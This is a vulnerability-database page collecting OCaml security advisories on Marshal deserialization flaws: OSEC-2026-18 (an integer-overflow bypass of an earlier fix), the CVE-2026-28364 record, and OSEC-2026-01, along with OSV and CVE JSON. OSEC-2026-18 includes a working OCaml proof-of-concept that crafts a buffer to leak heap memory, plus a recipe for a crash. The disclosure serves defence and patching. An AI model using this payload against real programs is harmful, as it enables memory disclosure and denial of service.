Vulnerability-Lookup

osec-2026-18

Vulnerability from osv_ocaml

Published

2026-09-10 10:00

Modified

2026-09-10 10:00

Summary

Marshal integer overflow leads to out-of-heap read

Details

An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).

Root cause

runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:

/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
  caml_failwith("input_val_from_string: bad length");

h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.

The CVE-2026-28364 fix introduced:

/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */

intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.

The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.

The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.

Exploit path

Craft 32-byte header: Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.
Append a valid object code byte stream (e.g., a "small string" code 0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).
Call Marshal.from_bytes buf 0 (or Marshal.from_string).
data_size_unsafe returns 0; OCaml-side check passes.
C-side check 0 + 32 + (2^64-16) = 16 > len passes (wrapped).
intern_src_end wraps to buf + 16; all intern_check_read pass.
intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).

Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.

1. Heap information disclosure (clean, no crash)

let () =
  let buf = Bytes.create 40 in
  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
  for i = 4 to 7 do Bytes.set buf i '\000' done;
  for i = 8 to 15 do Bytes.set buf i '\xff' done;
  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)
  for i = 16 to 31 do Bytes.set buf i '\000' done;  (* num_objects = whsize = 0 *)
  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)
  for i = 33 to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
  let s : string = Marshal.from_bytes buf 0 in
  Printf.printf "len=%d content=%S\n" (String.length s) s

Output (24 bytes past the 40-byte buffer leaked into the returned string):

len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"

2. Denial of service (crash)

Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:

$ ./crash; echo "exit=$?"
exit=138        (128 + SIGBUS)

Timeline

2026-08-15: report to security@ocaml.org
2026-08-25: patch developed
2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
2026-09-05: release of OCaml 5.5.1
2026-09-10: advisory published

Severity

6.8 (Medium)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Credits

Akshay M Singh

Xavier Leroy

Nicolás Ojeda Bär

Antonin Décimo

Hannes Mehnert

References

URL

Type

	https://github.com/ocaml/ocaml/pull/15019	FIX
	https://github.com/ocaml/ocaml/pull/15030	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "ocaml {\u003c \"5.5.1\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "928e7c8a950db8730e8e84105d3be347cae38f5c"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "304654884d0c90b2e4ab673ff88caef38b05c714"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "428288660cc1f655605347e09e2fbc0b0a404660"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "4.14.3",
        "4.14.4",
        "4.14.5",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0",
        "5.4.1",
        "5.4.2",
        "5.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28364"
  ],
  "credits": [
    {
      "name": "Akshay M Singh",
      "type": "REPORTER"
    },
    {
      "name": "Xavier Leroy",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Nicol\u00e1s Ojeda B\u00e4r",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Antonin D\u00e9cimo",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-190",
      "CWE-125"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
  },
  "details": "An integer overflow in the length-validation logic of OCaml\u0027s Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).\n\n## Root cause\n\n`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:\n\n```c\n/* caml_input_val_from_bytes, intern.c:1038 */\nif (ofs + h.header_len + h.data_len \u003e caml_string_length(str))\n  caml_failwith(\"input_val_from_string: bad length\");\n```\n\n`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len \u003e= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.\n\nThe CVE-2026-28364 fix introduced:\n\n```c\n/* intern.c:1043 (added by the fix) */\ns-\u003eintern_src_end = s-\u003eintern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */\n```\n\n`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len \u003e end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.\n\nThe OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150):\n\n```c\nreturn Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */\n```\n\n`Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs \u003e Bytes.length buff - (header_size + len)` passes.\n\nThe same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all.\n\n## Exploit path\n\n1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`.\n2. Append a valid object code byte stream (e.g., a \"small string\" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length).\n3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`).\n4. `data_size_unsafe` returns 0; OCaml-side check passes.\n5. C-side check `0 + 32 + (2^64-16) = 16 \u003e len` passes (wrapped).\n6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass.\n7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS).\n\n## Proof of concept\n\nTested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`.\n\n### 1. Heap information disclosure (clean, no crash)\n\n```ocaml\nlet () =\n  let buf = Bytes.create 40 in\n  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);\n  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);\n  for i = 4 to 7 do Bytes.set buf i \u0027\\000\u0027 done;\n  for i = 8 to 15 do Bytes.set buf i \u0027\\xff\u0027 done;\n  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)\n  for i = 16 to 31 do Bytes.set buf i \u0027\\000\u0027 done;  (* num_objects = whsize = 0 *)\n  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)\n  for i = 33 to 39 do Bytes.set buf i \u0027A\u0027 done;     (* only 7 real bytes follow *)\n  let s : string = Marshal.from_bytes buf 0 in\n  Printf.printf \"len=%d content=%S\\n\" (String.length s) s\n```\n\nOutput (24 bytes past the 40-byte buffer leaked into the returned string):\n\n```\nlen=31 content=\"AAAAAAA\\000\\000\\000\\000\\000\\000\\007\\000\\b\\000\\000\\000\\000\\000\\000\\152\\018\\001\\003\\001\\000\\000\\000\"\n```\n\n### 2. Denial of service (crash)\n\nSame header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer:\n\n```\n$ ./crash; echo \"exit=$?\"\nexit=138        (128 + SIGBUS)\n```\n\n## Timeline\n\n- 2026-08-15: report to security@ocaml.org\n- 2026-08-25: patch developed\n- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches\n- 2026-09-05: release of OCaml 5.5.1\n- 2026-09-10: advisory published",
  "id": "OSEC-2026-18",
  "modified": "2026-09-10T10:00:00Z",
  "published": "2026-09-10T10:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/15019"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/15030"
    }
  ],
  "related": [
    "OSEC-2026-01"
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Marshal integer overflow leads to out-of-heap read"
}

CVE-2026-28364 (GCVE-0-2026-28364)

Vulnerability from cvelistv5 – Published: 2026-02-27 03:54 – Updated: 2026-07-15 01:11

Summary

In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.

Severity

7.9 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-27 15:48 UTC

CWE

CWE-126 - Buffer Over-read
CWE-125 - Out-of-bounds Read

Assigner

mitre mitre root

References

5 references

URL	Tags
https://github.com/ocaml/security-advisories/blob…
https://osv.dev/vulnerability/OSEC-2026-01
https://access.redhat.com/security/cve/CVE-2026-28364	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2443348	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

7 products

Vendor	Product	Version
OCaml	OCaml	Affected: 0 , < 4.14.3 (semver) Affected: 5.0.0 , < 5.4.1 (semver) cpe:2.3:a:ocaml:ocaml:::::::: cpe:2.3:a:ocaml:ocaml::::::::
Red Hat	Red Hat Enterprise Linux 10	cpe:/o:redhat:enterprise_linux:10
Red Hat	Red Hat Enterprise Linux 6	cpe:/o:redhat:enterprise_linux:6
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 8	cpe:/o:redhat:enterprise_linux:8
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9
Red Hat	Red Hat Hardened Images	cpe:/a:redhat:hummingbird:1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-28364",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-27T15:48:53.652379Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-27T15:49:06.382Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:10"
            ],
            "defaultStatus": "affected",
            "packageName": "ocaml",
            "product": "Red Hat Enterprise Linux 10",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:6"
            ],
            "defaultStatus": "unknown",
            "packageName": "ocaml",
            "product": "Red Hat Enterprise Linux 6",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:7"
            ],
            "defaultStatus": "affected",
            "packageName": "ocaml",
            "product": "Red Hat Enterprise Linux 7",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:8"
            ],
            "defaultStatus": "affected",
            "packageName": "ocaml",
            "product": "Red Hat Enterprise Linux 8",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:9"
            ],
            "defaultStatus": "affected",
            "packageName": "ocaml",
            "product": "Red Hat Enterprise Linux 9",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/a:redhat:hummingbird:1"
            ],
            "defaultStatus": "unaffected",
            "packageName": "ocaml",
            "product": "Red Hat Hardened Images",
            "vendor": "Red Hat"
          }
        ],
        "datePublic": "2026-02-27T03:54:53.458Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in OCaml. A remote attacker could exploit a buffer over-read vulnerability during Marshal deserialization by providing specially crafted data. This issue stems from missing bounds validation in the readblock() function, which performs unbounded memory copy operations. Successful exploitation could lead to remote code execution."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "NONE",
              "baseScore": 7.9,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "CHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-125",
                "description": "Out-of-bounds Read",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T01:11:48.593Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-28364"
          },
          {
            "name": "RHBZ#2443348",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443348"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28364.json"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-02-27T16:01:20.960Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-02-27T03:54:53.458Z",
            "value": "Made public."
          }
        ],
        "title": "ocaml: OCaml: Remote code execution via buffer over-read in Marshal deserialization",
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:opam/ocaml",
          "product": "OCaml",
          "vendor": "OCaml",
          "versions": [
            {
              "lessThan": "4.14.3",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "5.4.1",
              "status": "affected",
              "version": "5.0.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:ocaml:ocaml:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.14.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:ocaml:ocaml:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.1",
                  "versionStartIncluding": "5.0.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 7.9,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-126",
              "description": "CWE-126 Buffer Over-read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-27T03:58:04.453Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-01.json"
        },
        {
          "url": "https://osv.dev/vulnerability/OSEC-2026-01"
        }
      ],
      "x_generator": {
        "engine": "CVE-Request-form 0.0.1"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2026-28364",
    "datePublished": "2026-02-27T03:54:53.458Z",
    "dateReserved": "2026-02-27T03:54:53.320Z",
    "dateUpdated": "2026-07-15T01:11:48.593Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

osec-2026-01

Vulnerability from osv_ocaml

Published

2026-02-17 13:30

Modified

2026-02-27 09:30

Summary

Buffer Over-Read in OCaml Marshal Deserialization

Details

Summary

A critical buffer over-read vulnerability in OCaml's Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from malicious Marshal data.

Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).

Affected functions: Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value, Pervasives.input_value when reading data from an untrusted source.

Vulnerability Attack Vector

Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. input_value should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.

Consequently, this excludes:

well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave
misuses of the OCaml runtime system by the program performing input_value, such as setting Debugger.function_placeholder to the wrong function.

The former issue may be addressed at some point by validating the unmarshaled OCaml value against the expected type, using the functions from module Obj and some kind of run-time type description.

The latter issue is a bug in the program that unmarshals the data.

Fix

OCaml runtime

The OCaml runtime has been hardened with additional bounds checks. An exception is raised on bad input.

Third party libraries

Third party libraries that want to harden their custom Marshal deserialization code can follow the example fix for bigarrays from the standard library. There are new macros in custom.h called Wsize_custom_data and Bsize_custom_data that return the size in words or bytes of the allocated custom destination block. The deserializer needs to ensure it only writes data within those bounds.

This only needs to be done if the library defines a custom type in a C binding, and struct custom_operations's deserialize field is not set to NULL or custom_deserialize_default, and struct custom_operations's fixed_length field is set to NULL or custom_fixed_length_default

Since Marshal.from* and input_value remain unsafe to use, the fix for the OCaml runtime is released, and we wouldn't attempt to coordinate updating all deserialization functions in the ecosystem.

Timeline

Nov 4th 2025: Discovery Date: Discovered first in OxCaml
Nov 5th 2025: First Disclosure Date (Jane Street Team): Emailed top maintainers, no response.
Nov 9th 2025: Second Disclosure Date (OCaml Team): Submitted to OCaml/ocaml GitHub Repo as a Security Advisory.
Nov 11th 2025: Emailed OCaml Security Mail List: Submitted to OCaml over email, responded asking for details.
Nov 11th 2025: Third Disclosure (OCaml Security Response Team): Submitted to ocaml/security-advisories GitHub Repo as a Security Advisory.
Dec 16th 2025: Initial patch is developed
Dec 17th 2025: Fuzz testing found further issues
Dec 24th 2025: Final patch for OCaml is developed
Dec 25th 2025: Fuzz testing couldn't find any further issues
Jan 2nd 2026: Patch got reviewed by OCaml maintainers
Jan 4th 2026: Benchmarking of the patch with good results
Jan 6th 2026: Reporter got contacted to confirm
Jan 25th 2026: Further related issues discovered by fuzzing
Feb 17th 2026: fixed OCaml releases are published, security advisory is published

Severity

6.8 (Medium)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Credits

Justin Timperio

Nicolás Ojeda Bär

Xavier Leroy

Gabriel Scherer

Xavier Leroy

Olivier Nicole

Damien Doligez

Gabriel Scherer

Mindy Preston

Edwin Török

Hannes Mehnert

References

URL

Type

https://github.com/ocaml/security-advisories/secu…

REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "ocaml {\u003c \"4.14.3\" | \u003e= \"5\" \u0026 \u003c \"5.4.1\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "5"
            },
            {
              "fixed": "5.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "b0a2614684a52acded784ec213f14ddfe085d146"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "e3919fef436f89271bc30bbe8592851f7289fb68"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "508d35d970a70a39ea2c9d9241ae4587a9b3a96a"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3aa27e4d2522950b2fe2acf868591209e93d1377"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28364",
    "GHSA-j26j-m5xr-g23c",
    "GHSA-m34r-cgq7-jhfm"
  ],
  "credits": [
    {
      "name": "Justin Timperio",
      "type": "REPORTER"
    },
    {
      "name": "Nicol\u00e1s Ojeda B\u00e4r",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Xavier Leroy",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Gabriel Scherer",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Xavier Leroy",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Olivier Nicole",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Damien Doligez",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Gabriel Scherer",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Mindy Preston",
      "type": "REMEDIATION_VERIFIER"
    },
    {
      "name": "Edwin T\u00f6r\u00f6k",
      "type": "REMEDIATION_VERIFIER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-126",
      "CWE-502",
      "CWE-754"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-01.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-01.json"
  },
